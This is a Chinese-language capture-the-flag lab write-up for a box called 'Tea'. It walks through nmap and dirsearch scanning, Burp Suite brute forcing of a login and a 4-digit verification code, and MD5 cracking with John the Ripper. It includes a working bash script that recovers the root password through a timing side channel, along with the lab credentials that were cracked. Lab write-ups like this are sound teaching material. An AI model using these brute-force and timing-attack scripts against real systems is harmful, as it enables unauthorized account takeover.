Tea靶场学习笔记

正文

kali攻击机地址:192.168.1.13

靶场地址:192.168.1.205

1、端口扫描

在kali里,使用nmap工具:

bash 复制代码
nmap -sV -v -T4 -A 192.168.1.205

可以看到22和80端口是开放的。

2、目录扫描

bash 复制代码
dirsearch -u http://192.168.1.205

访问网页http://192.168.1.205/login.php:

3、网页用户名密码爆破

尝试用户名为admin,密码用brupsuit单点爆破:

登录进去发现4个用户,下面有个邮箱的提示:

那我们就退出登录,重新邮箱登录,选择使用验证码登录,然后用Brupsuit对验证码4位数字爆破,发现用户名lingmj@tea.dsz、验证码8379是可行的:

进去之后,发现给了三个用户和密码的哈希值:

4、John the Ripper工具hash密码爆破

使用 John the Ripper工具,对这些密码hash值进行爆破:

bash 复制代码
john tmp --wordlist=user11.txt --format=raw-md5
  • john:调用 John the Ripper 工具

  • tmp:要破解的哈希文件(里面存着 MD5 哈希值)

  • --wordlist=user11.txt:使用 user11.txt 字典进行字典攻击

  • --format=md5:指定要破解的哈希类型是 MD5

    破解出来Flower用户的密码是Cartman。
    通过命令john user11.txt --show --format=raw-md5可以看到破解出来的结果:

  • user11.txt:你要查看结果的哈希文件(必须写)

  • --show:告诉 John 显示已破解的密码

  • --format=raw-md5:指定哈希类型,避免识别错误

    Red:123bugme
    Flower:Cartman

ssh连接后,拿到user.txt:

5、脚本破解check_root_passwd

进入/opt目录下,可以看到check_root_passwd文件,但是当前red用户没有权限读取:

经过手动测试,在输入长度为10位的时候check_root_passwd文件会有一个明显的停顿,可以用以下1.sh脚本来测试:

bash 复制代码
#!/bin/bash
start_time_ns=$(date +%s%N)
output=$(/opt/check_root_passwd "$1")
end_time_ns=$(date +%s%N)
elapsed_ns=$((end_time_ns - start_time_ns))
elapsed_sec=$(awk -v ns="$elapsed_ns" 'BEGIN { printf "%.6f", ns / 1000000000 }')
echo "Output: $output"
echo "Time elapsed: $elapsed_sec seconds"

输入命令:

bash 复制代码
bash 1.sh 1234567890

那就编写一个破解10位数密码的2.sh脚本:

bash 复制代码
#!/bin/bash

# 1. 定义字符集:密码可能包含的所有字符(数字+小写字母+大写字母)
charset="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"

# 2. 初始化变量 known,用来保存已经猜对的密码前缀(一开始是空)
known=""

# 3. 外层循环:控制密码的长度(从第1位到第10位,共10位)
for ((i=1; i<=10; i++)); do
    # 4. 初始化当前位的最佳字符和最长耗时
    best_char=""   # 用来存当前位"耗时最长"的字符(就是正确字符)
    max_time=0     # 用来存当前位所有测试中的最长耗时(初始为0)

    # 5. 内层循环:遍历字符集中的每一个字符,逐个测试
    # echo "$charset" | fold -w1:把字符集拆成单个字符(比如把abc拆成a、b、c)
    for c in $(echo "$charset" | fold -w1); do
        # 6. 构造测试用的密码 attempt
        # 格式:已知前缀 + 当前测试字符 + 补全剩余位数为'a'(凑够10位)
        attempt="$known$c$(head -c $((10 - i)) </dev/zero | tr '\0' 'a')"

        # 7. 记录程序运行前的开始时间(纳秒级,保证高精度)
        start=$(date +%s%N)

        # 8. 运行密码校验程序,传入测试密码,输出重定向到 /dev/null(不显示结果)
        /opt/check_root_passwd "$attempt" > /dev/null

        # 9. 记录程序运行后的结束时间
        end=$(date +%s%N)

        # 10. 计算程序运行的耗时(纳秒)
        elapsed=$((end - start))

        # 11. 判断当前字符的耗时是否是目前最长的
        if (( elapsed > max_time )); then
            max_time=$elapsed  # 更新最长耗时
            best_char=$c       # 更新当前位的最佳字符(正确字符)
        fi
    done  # 内层字符循环结束

    # 12. 把当前位的正确字符拼接到已知密码里
    known+=$best_char

    # 13. 打印当前爆破进度(方便看猜了多少位)
    echo "[$i] -> $known (time: $max_time ns)"
done  # 外层位数循环结束

通过以下命令:

bash 复制代码
vim 2.sh
chmod +x 2.sh
./2.sh

拿到root用户的密码toddzhennb:

成功进入root用户目录下:

相关推荐
Century_Dragon5 分钟前
让新能源故障诊断实训“触手可及“——仿真教学软件(VR)介绍
学习
江屿风20 分钟前
【Git-组件】【Git入门:从文档灾难到版本掌控】流食般投喂
运维·笔记·git·组件·版本控制
楚山之石1 小时前
【Radiology】影像组学的标准化与可重复性:IBSI 卷积滤波器共识及其未能覆盖的环节
人工智能·学习·机器学习·mri
小李不想当小白2 小时前
HAL库之UART(STM32 HAL库学习笔记)
笔记·stm32·单片机·嵌入式硬件·学习·嵌入式
旖旎夜光3 小时前
【C++ 基础入门】C++ 多态(中):虚函数表、多态原理与动静绑定
开发语言·c++·笔记·学习
旖旎夜光4 小时前
【C++ 基础入门】C++多态(下):单/多继承虚表、多态补充与 21 道高频题
开发语言·c++·笔记·学习
叼烟扛炮9 小时前
[LangChain] 学习笔记(07):大模型长出手脚——工具(Tools)定义与调用闭环
笔记·学习·langchain
叼烟扛炮13 小时前
[LangChain] 学习笔记(06):突破大模型限制——结构化输出(Structured Output)
windows·笔记·学习·langchain
且从容.14 小时前
VUE3学习笔记(根据黑马教程总结)
笔记·学习
蒸蒸yyyyzwd16 小时前
关于 AI 开发相关的一些面经。
笔记·学习